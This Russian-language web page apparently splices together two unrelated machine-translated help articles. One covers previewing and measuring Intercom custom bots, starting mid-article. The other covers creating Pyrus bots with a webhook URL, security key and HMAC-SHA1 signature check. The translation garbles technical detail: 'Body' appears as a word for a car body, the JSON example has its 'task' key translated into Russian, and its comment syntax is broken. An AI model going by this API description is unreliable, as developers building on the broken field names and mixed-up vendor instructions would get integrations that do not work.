Совет: Чем короче период времени, тем более уверенно вы можете отнести изменение к вашему пользовательскому боту.

Предварительный просмотр вашего бота, а затем его запуск в реальном времени

Вы можете предварительно просмотреть своего бота на любой веб-странице, где вы установили Intercom Messenger.

Просто нажмите «Предварительный просмотр» в правом верхнем углу:

Затем выберите веб-сайт, на котором вы установили Messenger:

Откроется новое окно, в котором вы сможете увидеть своего бота в действии:

Когда вы счастлив, включите своего бота 🚀

Примечание: Перед тем, как вы включите своего бота, мы отметим любые ошибки в разделе «Просмотр и установка в реальном времени».

Посмотрите, как работает ваш бот

Когда ваш бот будет запущен, вы можете легко проверить его производительность.

Вот что означает каждая статистика:

  • «Отправлено» - это количество пользователей, получивших приветственное сообщение бота.
  • «Вовлечено» - это процент пользователей, которые нажали кнопку ответа в приветственном сообщении.
  • «Завершено» - это процент пользователей, которые достигли конца любого пути или если к беседе присоединился товарищ по команде.

Чтобы понять, как часто ваш бот отправляет сообщения, откройте настраиваемого бота и нажмите «Отправлено», чтобы просмотреть график отправки с течением времени:

Чтобы глубже изучить взаимодействие с ботом, нажмите «Вовлечено» или «Завершено» для полный список разговоров, начатых вашим ботом:

Чтобы получить подробный обзор путей, по которым клиенты следуют через вашего бота, нажмите «Анализ пути»:

Совет: Подробнее об анализе пути можно узнать здесь.

Что дальше?

Создайте своего первого кастомного бота. Мы также создали эти 6 шаблонов, которые помогут вам начать работу:

Если вы хотите привлечь пользователей, вошедших в систему, с помощью специальных ботов, прочтите эту статью, чтобы узнать, как это сделать.

Создание нового бота | Справочный центр Pyrus

Примечание: пользователь с привилегиями Configuration Manager может создавать ботов и управлять ими.

Боты настраиваются в разделе Bots .

Чтобы создать бота, нажмите Добавить бота.

Настройте бота:

  • Имя: Введите любое имя бота.

  • URL: Введите адрес страницы вашего веб-сайта, которая содержит код обработчика событий. Когда событие запускает бота, Pyrus отправляет запрос на этот URL-адрес. Разрешены только адреса HTTPS.

Щелкните Добавить. Pyrus сгенерирует параметры нового бота и отобразит их во всплывающем окне:

  • Логин: Логин бота. Формат: bot @ .

  • ClientId и Ключ безопасности необходимы для вызовов API. Ключ безопасности используется для подписи каждого вызова и гарантирует, что вызовы выполняются от имени Pyrus.

После добавления бота он будет доступен во вкладке Bots .Чтобы изменить конфигурацию вашего нового бота, посетите его профиль, щелкнув поле с его именем.

Вы также можете отключить бота в строке Status .

Вы можете изменить значение ключа безопасности в строке Security Key , нажав Reset. Это полезно, если вы подозреваете, что текущий ключ безопасности скомпрометирован. После сброса ключа злоумышленник не сможет получить новый токен, используя старый ключ. При этом все ранее настроенные боты продолжат работу.

Вы можете установить для бота Дополнительные права . Используйте привилегии Supervisor и Configuration Manager .

Если вы хотите заблокировать бота, нажмите Заблокировать. Когда бот удаляется, он удаляется из списка, а соответствующий неактивированный пользователь удаляется (отображается в списке Завершено в Членах ).

При восстановлении заблокированного пользователя-бота все настройки бота возвращаются в прежнее состояние.Вы можете блокировать и восстанавливать бота сколько угодно раз.

Настройка бота

Конфигурация бота состоит из: URL-адреса , адреса для звонков, ключа безопасности , ClientId, параметров и Enabled / Disabled .

URL: Адрес страницы вашего сайта. Страница должна содержать код обработчика события. Когда бот получает задачу, Pyrus отправляет запрос на этот адрес. Разрешены только адреса HTTPS.

Требования к сертификату: Сертификат HTTPS должен поддаваться проверке.Цепочка сертификатов должна прослеживаться до доверенного центра сертификации.

Ключ безопасности и ClientId Значения используются для вызовов API и генерируются автоматически при создании бота. Ключ безопасности используется для подписи каждого вызова, гарантируя, что вызовы выполняются от имени Pyrus.

Структура данных

Запрос POST

  • Кузов.
    задача: Задача, в которой возникло событие.Формат поля такой же, как и в ответе на запрос API о получении задачи.
    task_id: Идентификационный номер задачи, вызвавшей событие. Подробности смотрите здесь.
    access_token: токен авторизации. Токен для вызова Pyrus API, действительный в течение 5 минут. В течение этого периода бот может отправлять запросы в Pyrus через PublicAPI, используя access_token для авторизации. Если для обработки вызова требуется более 30 секунд, мы рекомендуем вернуть код 200 без тела запроса.После завершения расчетов рекомендуем создать комментарий в задаче, отправив запрос на добавление комментария через PublicAPI с помощью access_token.
{
  "task_id": 5600,
  "задача": {/ * задача с примечаниями * /},
  "access_token": "{token}"
}
 
  • Pyrus-Bot-4: Заголовок пользовательского агента. В данном случае 4 означает версию протокола (такая же, как версия Pyrus API).

  • X-Pyrus-Sig: Дополнительный заголовок. Это значение представляет собой строку с подписью, подтверждающую, что запрос действительно поступил от Pyrus.Чтобы проверить эту подпись, добавьте свой ключ безопасности в тело запроса и вычислите * дайджест HMAC для результирующей строки с помощью алгоритма безопасного хеширования SHA1. Вот пример проверки подписи в Python.
  • X-Pyrus-Retry: Дополнительный заголовок. Значение: 1/3, 2/3 или 3/3. В числителе указано количество попыток (начиная с 1), в знаменателе - общее количество доступных попыток (3). Для первого неповторяющегося запроса значение будет 1/3.

Ответ: HTTP 2XX

При необходимости также можно указать тело ответа. Тело ответа имеет ту же структуру, что и запрос CreateComment Pyrus API. Авторизация заголовка не требуется.

.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *